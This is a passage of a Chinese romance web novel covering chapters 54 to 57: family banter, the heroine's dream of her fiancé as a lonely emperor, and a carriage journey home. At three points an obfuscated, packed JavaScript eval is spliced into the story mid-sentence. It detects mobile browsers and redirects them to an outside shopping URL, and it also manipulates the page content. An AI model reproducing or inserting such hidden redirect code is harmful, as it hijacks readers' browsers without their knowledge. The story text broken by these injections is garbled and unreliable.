“什么时候学来这些哄骗女娘的手段了?”崔长殷说着,瞥了一眼纪危舟,没忍住哼了两声。 这几日,他还道纪三郎是个安分的。 岂料今日,他前脚出门会友,此人后脚就把时娘哄着出了门! 得了教训的崔长殷,深以为站岗盯梢之事,不可再免。 “丰年才没有骗人呢!骗人的是阿兄,挨揍的也是阿兄。” “臭小子!” “阿兄臭!阿兄不爱洗澡。” 崔时清没忍住,偏头偷笑了一下,再看到纪危舟,眼里还是嗔怪,把粽子糖扔进他的怀中,压着声音小声质问。 “提前收到消息了?” “只比软软提前一点。”纪危舟含蓄地回答。 好一个提前一点。 崔时清呲牙斜乜着他,恨不得咬死此人。 崔长殷:“你们在说什么私话?” 崔时清假笑道:“在说阿兄如何不爱干净。” 这话说完,崔时清和纪危舟相视着,忍不住笑了出声,小丰年听到,便跟风嘲笑。 “……”崔长殷萎靡不振,也只得苦笑着。 崔其沂扶着妻子,看着儿女戏闹的场面,眼眶微红,心中高兴得不行。 “起风了,不如先进屋?”纪危舟温声道。 “对对对,也该用夕食了。”崔其沂往边上退了退,招手让他们入内。 崔长殷跟着说道:“我们一家好久没有一起吃饭了!正好管事买了头羊,一半拿来烤、另一半骨头熬汤,再切了薄片涮肉,做成拨霞供来吃。” 纪月隐期待地看着小女娘。 崔时清微蹙眉心,下意识便是抗拒。 纪危舟侧身挡在崔时清的前面,恭敬地说道:“我和时娘不知长辈会来,在外用了茶饭,夜里少食,应是吃不得拨霞供的。” 崔时清稀奇地看着说谎不脸红的人,心中有一种难以形容的感觉,鼓鼓胀胀的、却不难受。 “……眼下也不晚,多少用些吧?”难得有机会和女儿吃顿饭,崔其沂舍不得错失这个机会。 纪危舟没有动摇。 比起让他的女娘难过,他只得选择对不起老丈人,让老人家伤心了。 “我和时娘买了不少白菊茶,吃完拨霞供,正适合用些花茶解腻降火,稍迟点便给您送来。” 崔其沂:“……” 还要稍迟点?他正在就很火大了! “阿姐不与丰年一起吃肉吗?”崔丰年可怜兮兮地昂着小脑袋。 崔时清抿了抿唇,心中却有一条深坳,怎么也跨不过。 “也好。” 纪月隐看着天性倔强的女儿。 是他们丢掉了她,如今过了十年,怎可再随着他们的心意,强行把人要回来? 想通以后,纪月隐眼中盈着泪,慈爱地望着崔时清,不再逼迫她妥协。 “吃不得拨霞供也无妨,晚点、我让厨娘用羊骨熬些粥食,送去你院中,可好?” 崔时清看着她湿红的眼睛,点了点头,没有再拒绝。 纪月隐破涕而笑,已然满足。 一家人又整整齐齐,送崔时清回院子,但却很有分寸,止步于院外。 望着纪危舟以诊脉熬药为由,跟着进了院子,崔其沂心中五味杂陈,颇不是滋味,便发起牢骚。 “纪三郎太让我失望了!本以为他是个明事理的儿郎,没想到不偏帮我们也罢,还尽捣乱。” “我还没见过比他要缠人的郎君呢!眼睛落在咱们时娘身上,拔都拔不出来。”崔长殷把幼弟扛在肩上,拍了拍他的小屁股,跟着抱怨。 崔丰年眼睛滴溜溜地转了转,听着阿爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023444|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和阿兄皆不喜欢未来姐夫,便也跟着思忖。 一会儿因为未来姐夫对他好而喜欢、一会儿又因为未来姐夫与他争抢阿姐而不喜欢,整张小脸都跟着变化莫测的心思而扭曲了起来。 最后顶着皱皱巴巴的小脸蛋,趴在兄长的肩膀上,累得直喘气。 纪月隐斜睨着父子二人,屈指在他们的脑门上,一人弹了一下。 先是问长子,“你原本不是还担忧三郎过于清冷,不知让着时娘吗?如今人家一心扑在时娘身上,怎还要碎嘴?” “……”本已刻意忘记的言论,再被亲生母亲掀了出来,崔长殷羞赧得很,却还要辩解一句,“让他上心,也没让他如此缠人呀?” 崔丰年有了发言的欲望,扭着小身板,也道:“姐夫太缠人了,还会与丰年抢阿姐呢!” 大巴掌落在肉乎乎的屁股上,崔长殷气道:“臭小子!胡乱喊说什么!” “阿爹阿娘!”崔丰年反手抱着屁股,委屈巴巴地告状。 “该打,这张嘴还得吃几顿竹笋炒肉。”向来信奉不打不成才的崔其沂,一点也不心疼幼子。 “十月初二便要成婚,不是姐夫是什么?” 纪月隐把丰年抱了过来,轻哄两声,冷眼看着这对泡在醋缸里的父子。 要说吃醋,她能不吃吗? 看着女儿面对母族至亲时,依赖的目光。 想到他们也曾被这样注视着,如今却再不可得,纪月隐便心如刀割。 但心里再不是滋味,也不能不讲道理。 “你就是偏私你家侄子。”崔其沂气恼地说。 “三郎何处不好?”纪月隐问。 不好的太多了! 崔家父子心底腹诽,却也一时提不出什么有力的证据。 纪月隐斜睨着他们二人,还没开骂,眼圈却突然红了起来。 “时娘心中还在自苦,否则也不会如信中那般……” 那般什么,作为一个母亲,她说不出口。但她却知道,应该如何做才是对的。 “三郎用情至深,这样的好郎君,可以陪着我们家软软,照顾她、令她安心,这便是最大的幸事。” 他们给不了的,有人给了,还有什么不满足呢? 崔家父子皆神色黯然,沉默着。 纪月隐抱着怀中的小儿,眼眶湿红地凝视着面前的院落大门,无声落泪。 “阿娘?何人欺负你了?” 崔丰年抱着纪月隐的脖子,瘪了瘪嘴,也忍不住掉了泪珠子。 “没有,没有人欺负阿娘,阿娘是高兴的。” “阿娘高兴什么?” “你阿姐长大了,要成婚了,阿娘为她欢喜。”纪月隐蹭了蹭小儿肉乎乎的面颊,压下心中不可自抑地悲切,笑了起来。 “丰年不喜欢阿娘哭。” 小儿郎抱紧了纪月隐,软乎乎的小身子靠在她的身上,绞尽脑汁思考了许久,突然高声道:“丰年知道啦!丰年不许阿兄成婚!这样阿娘便可以少哭一次啦!” 崔长殷不敢置信道:“……你呢?你怎么不要求自己不成婚?” “丰年还小,要是也遇上阿娘和阿姐这样漂亮的女娘,还是要成婚啦!兄长你不同了,你老啦,不碍事呀!” “……臭小子!”崔长殷无可辩驳,只能骂一声。 “好了好了,不许闹了!月娘,我们回去休息?”崔其沂拉着纪月隐的衣袖,小声问。 “走走走,我可忙着呢!” 纪月隐把幼子塞进崔其沂的怀中,擦了泪,便兴致冲冲地走了,把背影留给了父子三人。 54. 负担 沐浴更衣之后,崔时清蜷在软榻上,由着纪危舟为她换药。 后背上的伤口一直没有好全,这一次长途跋涉下有些反复,后续恐怕用了宫中御药,还是会留疤。 透过镜子看了几眼,她便有些怏怏不快。 “不难看的。” 替她拢好衣袍,纪危舟从后面环抱着崔时清,在肩头落下一个吻。 “现在不觉得难看,时日久了可说不准。”崔时清轻笑道。 纪危舟回想着之前的八世,哪怕是至尊天子,也无法和岁月抗衡。而唯有记忆中的崔时清,一直没有改变。 在他垂垂老矣之时,再入后陵,看着她留下的物件,总是觉得惋惜。 好在这一世,他们终于有了机会,可以一起变老。 纪危舟很期待,见到不再年轻、也不在漂亮的崔时清,看着时间在他们的身上刻下痕迹,回忆着他们共同走过的长路,想必是别有一番滋味的。 “时日久了,我也会不再好看。届时你我还是一样,什么都不会改变。” 色衰爱驰,自古如此。 天道之子又如何,除非他见多了美人枯骨,否则还能不为色相所迷惑? 崔时清依然存有一丝好奇,问道:“你真这么想?” “软软以为不妥?” 崔时清笑道:“我是没想过你还有如此天真的一面。” “你还是不信我。”纪危舟叹了口气。 不相信,就如不相信自己一样。 但如果纪危舟可以改变人之本性,她也乐见其成。 现在倒也没有必要纠缠这些,因为时间自会证明一切。 “唔,相信。”崔时清敷衍了一声,突然问道,“你和赵晟真有些奇怪?” 纪危舟微怔了一瞬,黑眸没有闪躲地迎上她的眼睛。 “如何奇怪?” 崔时清探究地看了他几眼,才道:“他很在意你。” “我与他没有往来,又谈何在意呢?” 纪危舟过于平静的语气,反而引得崔时清连连侧目,暗忖着,她再道:“你如何看待‘花魁皇妃’?” “嫡皇子身份高贵,再没有架子,生来便注定高不可及。” 在崔时清的注视下,纪危舟拨弄着她的碎发,又道,“‘花魁皇妃’是个很好的机会,可以让他走入百姓心中。” 教坊司的花魁皆从才貌双全的良家女中选拔,与以色事人的娘子不同,在民间颇受追捧,甚至还有个别花魁参加过百花神女的庆典,受万民朝拜献花。 ‘花魁皇妃’,从始至终无关情爱,求得都是民间的声望与支持。 “他会迎娶她吗?” 崔时清问完,莫名也觉得自己天真了。 一个工具而已,没了利用价值,注定会被遗弃。 “不要小看他。”纪危舟注视着崔时清。 “你是说?” “恶犬的目光永远都在追逐最好的事物、最好的人,什么都改变不了牠们的天性。”纪危舟抚摸着她的后颈,面无表情道。 嗅到了浓浓的酸味,崔时清扬了扬眉,没忍住笑了起来。 纪危舟眸色微沉,在她的唇瓣上重重碾了一下,本想说的,在此刻都变得不太重要。 鼻尖蹭了蹭她的鼻梁,一点点摸索着,再次吻上她。 一声极轻的喟叹从他们的唇齿间溢了出来,很快被急切的吞咽声所掩盖。他们的心,也在深入渴求的亲吻下,唯存彼此。 抚摸着掌下的青丝,纪危舟眷恋地一下又一下,轻啄着女娘的耳尖,吻得崔时清连连颤栗着,浑身无力。 忍无可忍,崔时清用尽最后一丝气力,勾住了他的衣袂,桃花眼湿漉漉地瞪着他。 “你想饿死我吗?” 纪危舟被勾得不行,双手捧着她的脸庞,在红肿的唇瓣上,又激动地亲了好几口。最后依依不舍地替她整理着散乱的衣裙,抱起闹脾气的小女娘,走到外间。 饭桌上已摆好夕食。 他们出来以后,桑麻屈膝行礼,令其他女使退下。 坐在桌前,崔时清斜了一眼替她盛粥食的人,得来一个如沐春风的笑容。 “……” 崔时清磨了磨后槽牙,但折腾了这么久,实在没体力教训此人。 粥米与切成丁的羊肉、菌菇蕈子熬煮成浓稠的羊肉粥,香浓的气味霸道地钻入鼻尖,她迫不期待拿起勺子舀了一口粥食。 虽然尝不出胡椒的辛辣,但羊肉丁中却伴着一丝辛香,祛除了羊膻味的同时,却没有喧宾夺主、破坏羊肉独有的鲜香。 拿着勺子的手顿了一下,她看向桑麻。 “羊肉粥是……” 崔时清的心里已经有了答案。 她身边最擅于以胡椒腌制羊肉调味的,只有一人。 桑麻忐忑地瞥向纪危舟,见他微微颔首,便咬了咬牙,按照纪月隐的吩咐回答。 “这是新来的厨娘做的,她的拿手菜便是这碗羊肉粥。” 勺子在粥食间搅动了一下,崔时清说不出是什么滋味,但着实是松了口气,没了负担。 “可要试试其他的?”纪危舟握着她的手,问道。 崔时清抿了抿唇,摇头道:“这碗羊肉粥煮的甚好,让管事给她涨月银。” “好,桑麻会去办的。别只喝粥,这道香酥鸭子也不错的,多用些。” 在纪危舟的投喂下,崔时清难得吃了个圆肚,最后只得跟着他在院子里,闻着烤羊和拨霞供的味道散步消食。 “以后不与你同桌用饭了。崔时清说着气话 “要不,让他们把夕食撤了?”纪危舟斗胆提议。 “……” 崔时清欲言又止地看着他。 “我去办?”纪危舟一副决然英勇献身的模样。 “你是不是故意的?” 崔时清戳了戳他的心窝窝,很想把他的心肝掏出来,瞧一瞧,看看有无缺了什么。 肯定不是故意的!但是眼下,小女娘似乎并不想听他的辩解。于是,纪危舟虚心求教道:“软软指的是?” 崔时清怒极反笑,看得他的眼神,都从质疑变成了关爱,关爱心切,连说话都要多费几分气力,咬牙切齿着。 “人家好端端在自己院里吃肉,你把东西撤了?这是人干的事吗?” 不是!简直丧心病狂!指不定还要挨揍! 纪危舟眨了下眼睛,似乎有些不太理解。 崔时清捂了捂脑门,没眼看他清白无辜的表情,调息了须臾,语重心长道。 “你、你觉得这样对吗?” 说完,崔时清也不知道应该怀疑纪危舟,还是怀疑自己。 天啊!真是见了鬼了! 她堂堂一个横行京都的恶霸,怎会有这种想要教好天道之子、引他走上正途的冲动呢? 是她的道心崩了?还是天道之子歪得太过? “兴许不太对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔时清沉默了片刻,问道:“你喜欢我什么?” 是这副惹眼的皮囊、是崔氏嫡女的身份、还是她私库中数不尽的金银财宝? 纪危舟也安静了许久,直到崔时清开始懊恼自己的这个问题,他的声音才随着冷寒的秋风传来。 “我不知道。” 崔时清瘪了瘪嘴。 不知道是什么回答?不是很会哄人吗?连一个像样的假话都编不出来了? “我真的不知。” 纪危舟抚摸着崔时清的脊背,又重复了一声,望着遥远的星月。 “你和所有人都不一样,让我忘不掉你。” “行!不逼你。”崔时清窝在纪危舟的怀中,还是忍不住嘀咕,“有这么费劲吗?我这么多讨人喜欢的地方,随随便便都能说出上百个理由呀!” 纪危舟动了动唇瓣。 非要说喜欢。 最喜欢的便是你存在于世间的每一刻、每一次温热的呼吸、每一个鲜活的眼神,我都喜欢。 但所有的心声最后只化作低叹,他抱紧了怀里的人,说道:“软软比想象中的更好。” “现在说这些,太晚了。”崔时清不买账。 纪危舟声音沉闷地道:“不晚。” “又耍赖?!” “软软同不同意?” “同意同意,不要发疯。” 和纪危舟闹腾了一番,算是消了食,本以为可以睡个好觉,然而却没有。 在一个接着一个的梦境中,崔时清看到了一张又一张熟悉又陌生的面孔,捧着红玛瑙宝盒,低语着什么。 这是、纪危舟? 55. 解梦 “在想什么?” 崔时清倏然回神,眼前这张年轻的面孔与梦境中的人交叠在一起,她瞳孔微缩,下意识想要闪躲。 心念刚起,便顺从心底的声音,避开了纪危舟向她伸出的手,后退着。 “软软。”纪危舟的手还举在半空,错愕地望着她。 这是怎么了? 崔时清的心跳得很快,垂下了眼眸,看着掌心被碾碎的干花,讷讷地解释着。 “我、累了……” “既然累了便不必再动手,这些、我都会处理好的。” 纪危舟面色如常地牵过她,像是没有察觉她的紧绷,拿着干净的软帕认真地擦拭手心的碎花。 直到双手都被握住,崔时清低着头,连眨了几下眼睛,才把梦境中的人赶出了自己的眼前。 抬起头看向纪危舟。 不一样,他们的眼神是不一样的。 崔时清告诉自己,随后蛄蛹着身子,藏进了纪危舟的怀中,面颊压蹭着他的胸膛,重重叹了一口气。 兴许是昨日遇见赵家兄弟,又谈论了嫡皇子和花魁皇妃,所以才会做了如此荒唐的梦。 她梦到纪危舟成为一统天下的大帝。 大帝? 这还挺符合天道之子的运道。 因而在梦中,作为一缕孤魂飘荡在宫里,面对身着玄色龙袍的纪危舟时,她居然信以为真,当即气得差点魂飞魄散。 这是什么恐怖的恶梦? 她死了以后,还要日夜守在纪危舟身边,看他登基称帝?耀武扬威?! 鬼也不能接受! 更古怪的是整座皇城空荡荡的,堂堂大帝成天穿得乌漆嘛黑,比鳏夫还晦气。 真正的死气沉沉是什么? 就是连她一个孤魂野鬼都比他有精气神! 好几次崔时清都忘了自己是鬼,看着纪危舟逐渐变老,神经兮兮地抱着红玛瑙宝盒,吃睡不离身,她都瘆得慌。 她挺好奇盒子里面装了什么。 可惜碰不到,纪危舟也不打开。 直到他活够百年,把宝盒送到后陵,崔时清才知道,原来这个盒子和他的皇后有关。 她更好奇了! 难怪觉得纪危舟晦气,原来真是鳏夫啊! 是谁嫁给了纪危舟,还如此短命?让这狗东西魂牵梦萦,天天惦记着? 崔时清抓心挠肝地好奇,却没有人可以回答她,气闷之下,只能飘在纪危舟的面前,骂骂咧咧出口气。 就这样,她迷迷糊糊梦到了一遍又一遍,空荡荡的皇城、永远化不开的沉郁、一直都在的红玛瑙宝盒,和越来越没有人气的死对头。 梦到最后,她不由生了气。 长命百岁、成为天下至尊,是多少人的梦想。 这狗东西就不能高兴点? 给自己、也给她找点乐子!美人百花、歌舞佳肴,随便来点什么都可以啊! 快活起来呀! 她死都死了,还是一个没用的野鬼,哪怕眼红也害不了人呀! 梦醒以后,崔时清被那些无声的梦境,喘不过气的沉闷压得浑身难受。 而现实中的纪危舟,却抱着一堆干花,说要与她一起调配花茶。 她就想。 不就是花茶吗?何必笑得如此不值钱? 真是傻瓜。 可是,倒是比梦里那个大帝讨人喜欢。 崔时清没想到的是,一个梦而已,居然对她造成了这么大的影响。 她勾着纪危舟的脖子,用力蹭了蹭脸颊,闻着熟悉的暖香,很不高兴。 纪危舟托着她的后脑勺,轻声问:“怎么了?” “我做恶梦了。”崔时清瘪了瘪嘴。 “软软不怕,我在这里。”纪危舟抱紧了她。 “……嗯。”崔时清哼唧了一声,在他怀中窝着不动,气息也渐渐沉了下来。 “梦到什么?”纪危舟轻拍着她的脊背,温声道。 崔时清懒洋洋地说:“梦到了一个鳏夫。” “鳏夫?”纪危舟的表情有些古怪。 “好吓人的鳏夫。”崔时清道。 纪危舟亲了亲她的脑袋,笑问:“如何吓人了?” “他娶来的夫人是个短命的,不续弦。”崔时清正被拍得舒服,眯了眯眼睛,喟叹了一声,才又道,“唔,也不纳妾。抱着一个宝盒度日,同吃同睡、还念念叨叨的,叫人瘆得慌。” “……宝盒?” 黑眸怔松,随后深沉如海,似有暗流在涌动。但掌下却未停,依旧不紧不慢地抚摸轻拍着怀中的小女娘。 “对啊。”崔时清没有感受到他心绪的起伏,困倦地打了一个哈欠,“一个红玛瑙镶嵌的宝盒,挺好看的,不过那玩意让人瞧着就不舒坦,也不知装了什么鬼东西。” “既然不喜欢,便忘了它。”纪危舟眼神空洞地抱着她,低声说道。 “嗯。” 崔时清没有意见,随即又想起梦中的那个大帝,他顶着纪危舟的面孔,哪怕只是梦,也让她忍不住介怀。 “你想——” 这么冒冒失失地问他想不想登基称帝,也太古怪了,不知道的还以为她想当皇后呢! “软软要问什么?”纪危舟温和地看着她。 崔时清皱了皱眉,随后道:“你、要是有一日你也成了鳏夫……” “软软!”纪危舟的声音顿时冷沉。 崔时清坐直了身子,神色莫名地看着他,“你生什么气?” 纪危舟搂着她的腰,无奈地开口道:“这些话怎么能乱说?” 也是,他们是要成婚的,说他是鳏夫不是咒自己早死吗? 崔时清讪讪然地耷拉着脑袋,有点没精神。 “以后不准再说这些了。”纪危舟又道。 “哦。”确实不能说这种晦气话。 崔时清应了声,才反应过来,抻着脖子瞅他,“你敢凶我?!” 纪危舟捧起她的脑袋,额头相抵,温热的触感从额间传来,让他稍稍定了神,轻叹道。 “没有凶,我只是太着急了。现在知道错了,不会再如此的。” “呵,你是越来越过分了!”崔时清越想越生气。 “是我不该,随软软打骂绝无怨言。” “哼!” 崔时清在他颈上凶狠地咬了一口,看着两排不浅的牙印,哼哼唧唧地,又赖在了他的身上。 她一向分得很明白,讨厌纪危舟,也不妨碍她贴贴抱抱。 这么舒坦的‘小窝’,她可不能委屈自己坐冷板凳。 纪危舟哄了她许久,在崔时清气性稍平时,低声开口:“软软如此介意这个梦,是看到、或听到了什么?” 崔时清眨了眨眼睛,随即没有好脾气地说:“就是看到一个鳏夫在发疯呀。” 纪危舟安静了片刻,又道:“……还有呢?” “你很好奇?”崔时清看着他。 “当然,与软软有关的,我都好奇。” 纪危舟面 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纪危舟也笑了笑,抱着她斜倚在凭几上,轻声问:“不生气了?” “我才不是小心眼的人。” 崔时清看到他腰间佩玉的绦子有些陈旧,漫不经心地缠绕在指尖把玩着。 “是,软软最大度了。” 气息流连在她的耳边,惹得崔时清一阵闪躲,最后只得拍了他一下,喝止他的贪得无厌。 “不是说了要配茶吗?还不去。” “软软不想要我了?” “……”崔时清揪了揪他的衣襟,很快便毫无负担地靠在他身上,说道,“我还能妨碍你捡茶了?” 纪危舟笑着,抱起爱娇的女娘,圈在怀中,不紧不慢地收拾着干花茶叶。 “木梨花多些。”崔时清认真监工。 “多两朵?” “不够。” “三朵?” “你好小气。”崔时清抱怨道。 纪危舟闷声笑着,抓住了捣乱的小手,“六朵。不能再多了,否则喧宾夺主,只会影响茶香。” “那、我要一个徘徊花最多的。” “行。” “……不行也得行。”崔时清霸道地说。 “是,软软说的,不行也得行。” 纪危舟也不拖延,当着她的面,包好了令其满意的徘徊花茶,哄得崔时清再没了意见。 秋日暖阳穿过窗棂,在素面屏风间投下了一对金色的身影。 纪危舟垂眸看着崔时清,目光一遍遍地描绘着她的睡颜,唇边噙着浅笑。 原来你一直都在。 日复一日、年复一年,一直陪着我。 * 黑夜浓沉,纪危舟独自孤坐于庭院中,望着暗淡的天空,眼底俱是冷寒。 是你啊。 想要女娘害怕他、离开他,推着他再次走上天命。 从袖中取出一串降龙木佛珠,他无悲无喜地拨弄着。 就像曾经的那些日夜,靠在女娘身边,一遍又一遍地拨弄手串,克制他的心魔。 纪危舟骤然轻笑出声,黑漆漆的眼睛如同鬼魅一般,讥嘲地注视着夜空,一颗又一颗地碾碎了佛珠。 来吧,这一次换我来对抗天道。 他举起手,最后一粒佛珠在掌心化作灰烬,随着秋夜的瑟瑟寒风,落入尘泥中。 56. 作陪 在勉州住了十日,一家人启程回京。 纪危舟自然还是要与崔时清同乘车马的,在纪月隐的默许下,崔丰年被打包好,也塞了过来。 于是,纪危舟以为温馨的旅途,再一次变了味。 抱着睡迷糊的小身板,他一言难尽地瞅着崔时清。 “软软。” “怎么?后悔揽下看顾小儿的活计了?”崔时清似笑非笑地看着他。 “没有。” 比起让丰年黏着他家女娘,还是来闹他吧! 纪危舟制服乱舞的小手,说道:“丰年如此闹腾,与他蜷在车中没有适度活动身体有关。” “所以应该如何?”崔时清好奇道。 “六岁小儿也可以学着骑马了,让他每日跟着兄长走两个时辰,便会安分不少。” 崔时清睨着面前的正人君子,想从他严肃的目光中找到破绽。但是死对头的道行太高,像是狡诈的狐狸成了精,愣是没有一丝让人指摘的地方。 纪危舟眉眼清正地看着她,“不妥吗?” “……两个时辰会不会多了?”崔时清一边观察他,一边问。 有戏了。 纪危舟不动声色地眨了一下眼睛,握住划过眼前的小短腿,说道:“分作上下午两次,既可以消耗掉小儿郎过剩的精力,还能让他睡得更踏实些。” “唔,你说的有几分道理,但……”崔时清故作迟疑,没有立即应下。 纪危舟弯了弯唇角,再接再厉,“丰年渐大了,也要适当骑马练武,男儿可娇养不得。” 崔时清点了点头,在对方期待的目光下,慢声道:“你说的很对。” “软软英明!这对丰年可是最好的安排了!” 总算可以把怀里的小火炉送出去吹吹风,还他们二人些许独处的机会,纪危舟高兴得不得了。 崔时清也高兴,弯唇笑问:“什么时候送他去?” 纪危舟按捺住心中的急切,浅笑道:“等丰年睡醒了,用些茶点再送出去。”如此也不会熬不住一个时辰,便要闹着找阿姐了! “可以。”指尖点了点矮几,崔时清看着在眼前乱晃悠的狐狸尾巴,笑了笑,又道,“丰年跟着你骑行,我很放心的。” “?” 纪危舟怔然地看着崔时清,“不是跟着兄长吗?” 崔时清摆了摆手,温温柔柔地说:“阿兄太爱欺负丰年了,让他带着,不出一盏茶,小儿郎便要闹腾叫苦的。” 他可以叫苦吗? “软软独自在车中,我也不得安心。”纪危舟眼巴巴地瞅着女娘,只盼着她可以改变主意。 崔时清捻起一颗粽子糖,喂入他的口中,狡黠地眨眼道:“有桑麻在,你有什么可担心的?” 纪危舟含着糖,可算看明白。小女娘是存了看戏的心思,刻意戏弄他来着。 他有什么错呢? 他不过是想抱着自家女娘,而不是咋咋呼呼的臭小子啊! 心思转了转,纪危舟只得退而求其次,反悔道:“丰年爱黏着你,骑马之事也不急,不如算了?” 比起在外面吹风看娃,他宁愿在马车里看看自家女娘、顺道看个娃。 “你不是说了?男儿不得娇养,此事便定下,辛苦你了!”崔时清拍案决定,坏心眼地笑了笑,故意问道,“你不会让我失望吧?” “……不会。” 纪危舟心口发苦,像是被抽干了所有气力,落寞地抱着好动的小儿,整个人都陷在了车厢角落的阴影中。 崔时清感到好笑,又揶揄道:“你如此关心丰年,我很欢喜的。” “……应该的。”纪危舟应和着,却笑不出来。 崔时清没忍住,颤抖着肩膀,笑了出声。 “软软。”纪危舟闷声抗议。 “好好好,不要生气啊。”崔时清眉眼弯弯,艰难地忍耐着。 纪危舟幽怨地瞅着她,“不是生气,是伤心。” “怎还伤了心?” 崔时清又笑了一阵,才善心大发地勾了勾纪危舟的衣袂,安抚般欺身上前,在他的面颊亲了一下,抚平了他眉眼间的委屈。 纪危舟牵住了她,另一只手捂住了丰年的耳朵,嗓音透着缱绻问道。 “你都不嫉妒吗?” “嫉妒什么?”崔时清扬眉反问。 “这小子把我占了,都抱不得你了,不该嫉妒?” 似是、也该嫉妒的。 这个声音在心尖走过,惹得崔时清的耳根微微发烫,忍不住羞涩地乜了他一眼,口是心非道。 “我可不会与六岁小儿争风吃醋!” 纪危舟眉眼含笑地看着女娘强撑否认,却不知面颊与耳根已经染成一片诱人的绯红,抿了抿干燥到紧绷的唇瓣,声音微哑地问道。 “软软想要几个孩子?” 崔时清被这个突如其来的问题惊得呛了口气,捂着心口干咳着,眼里满是惊恐。 “喝口茶缓缓。”纪危舟好笑道。 抿了一口清茶,崔时清瞪着始作俑者,没好气道:“你是故意来吓我的?” “哪有?!”纪危舟神色无辜地看着她。 “那、你说——” 崔时清别别扭扭的,甚至都不敢直视他的眼睛,眼神飘忽着,连质问都磕磕绊绊半天也说不全。 看着崔时清的羞恼,纪危舟的唇角抑制不住地上扬着,恨不得把怀中的小火炉扔开,抱起自己的小女娘,好好亲一遍。 “说我们以后的孩子?”纪危舟笑问。 崔时清:“……” “软软不必害羞,不到两个月我们便要成婚,这些迟早也要谈的。” “我没有害羞!”崔时清干瞪着眼,连脚趾都蜷了起来,却还是强压着不自在,装作从容,“如今提这些,是想如何?” 生孩子? 她和纪危舟的孩子? 单是这么想,心便怦怦乱跳,令人不知所措。 纪危舟捏了捏崔时清的手,“孩子的事情自是随软软的,我只是以为新婚之期,你我若是能多过一段没有子女叨扰的日子,也是不错的。” “……”崔时清眨了眨眼睛,松了一口气的同时,又神色古怪地盯着纪危舟,而后笃定道,“你不想要孩子。” “不是。” 不知是想到什么,纪危舟兀自笑了起来,生来淡漠的眉眼也染上了暖色。勾缠着柔软的手指,看着崔时清的眼睛说道。 “我想要我们的孩子,但是,更想要软软。” 这有什么冲突吗?崔时清困惑地皱着眉。 在手背上轻啄一口,纪危舟才一派从容与理所当然地说道:“若是有了孩子,软软陪我的时间少了,我定会嫉妒的。” 这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049600|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话他是怎么讲出口的,都不嫌臊得慌?! 崔时清无言以对,替他羞耻得浑身发热。 “真是可爱。” 纪危舟痴痴看着她,没忍住把心中的话,说出了口。 此话一出,当即惹得崔时清浑身紧绷,眼神化作了无形的刀子,恨不得立刻与他展开生死搏斗、较量一通。 可爱? 这厮胆敢羞辱她了?! “说什么呢!”崔时清凶神恶煞地低斥道。 “……我是说,丰年的圆脑袋生得真可爱。”求生欲让纪危舟顿时清醒,像是拍寒瓜一样,拍了拍睡梦中的小脑袋,严肃道。 狗东西还挺机灵的。 崔时清抿着唇,扫了一眼睡得无知无觉的小丰年,轻哼一声,算是接受了他的解释。 但作为京都恶霸,还是觉得自己多年树立起的威望遭到了挑战,目光冷厉地抽回手,不许他再牵了。 “小儿郎的脑袋也是随意可以拍的?”崔时清找茬道。 “以后不拍了。”纪危舟抱着丰年坐得笔直,眼神诚恳、语气认真。 “每次都说以后,在糊弄谁呢……”崔时清挑过刺,没得到想要的,嘀咕了几声,便扭过身子,看着马车外的景色,懒得理睬此人。 不理睬,就是不生气了。 作为九世死敌,却可以在崔时清身边拔得头筹,靠得就是进退得宜的手段,和揣摩女娘心思的机敏。 纪危舟弯唇笑了笑。 一手抱着丰年,一手替崔时清倒了一杯花茶。 “花茶好了,配着百合酥尝尝?” 崔时清回头看着,以通透的琉璃杯盏装盛的徘徊花茶,汤色红亮清澈,随着马车轻轻晃动,水光潋滟,颇有一番意趣。 她尝了一口花茶红汤,神情舒缓了下来,正要用百合酥,余光瞥见依旧抱着小儿,端端正正没有松懈的对头。 回味了一下唇齿间的徘徊花茶,语气冷淡地说:“若是乏了,就把桑麻叫进来。” 纪危舟弯唇笑了笑,“不必。软软可要小憩片刻?” “我不累。”崔时清挑拣着面前的点心,吃了一口百合酥,觉得味道普通,便百无聊赖地投喂纪危舟。 如此难吃的东西,让他多吃点! “好吃吗?”崔时清坏笑道。 “好吃。”纪危舟也笑着。 崔时清冷笑一声,凶巴巴道:“自己吃!” 纪危舟依从地把百合酥移到面前,又把食盒中的翠玉豆糕和糖蒸酥酪端了出来,放在崔时清的面前。 在百合酥几近见底时,车停了下来,随后一阵马蹄声过,崔其沂和一个年轻郎君的声音传了进来。 崔时清卷起竹帘,朝着窗外看去。 纪危舟仅看着半旧青衫,却不见其人,问道:“老丈在与何人说话?” “是苏家七郎。”崔时清靠在窗边,头也没回地望着。 苏家七郎,苏珏。 敲击车厢的声音,惹得崔时清收回了目光,不解地看向纪危舟。 “作什么?” “老丈巧遇旧日的学生,我自是要作陪的。” 把丰年交与桑麻,纪危舟笑了下,挽起下摆,拎起酒袋,匆匆赶了过去。 “……” 崔时清懵怔了许久,看着桑麻,迷茫道:“有他哪门子事了?还得作陪?” 57. 献祭 作陪的原因,桑麻不知道。 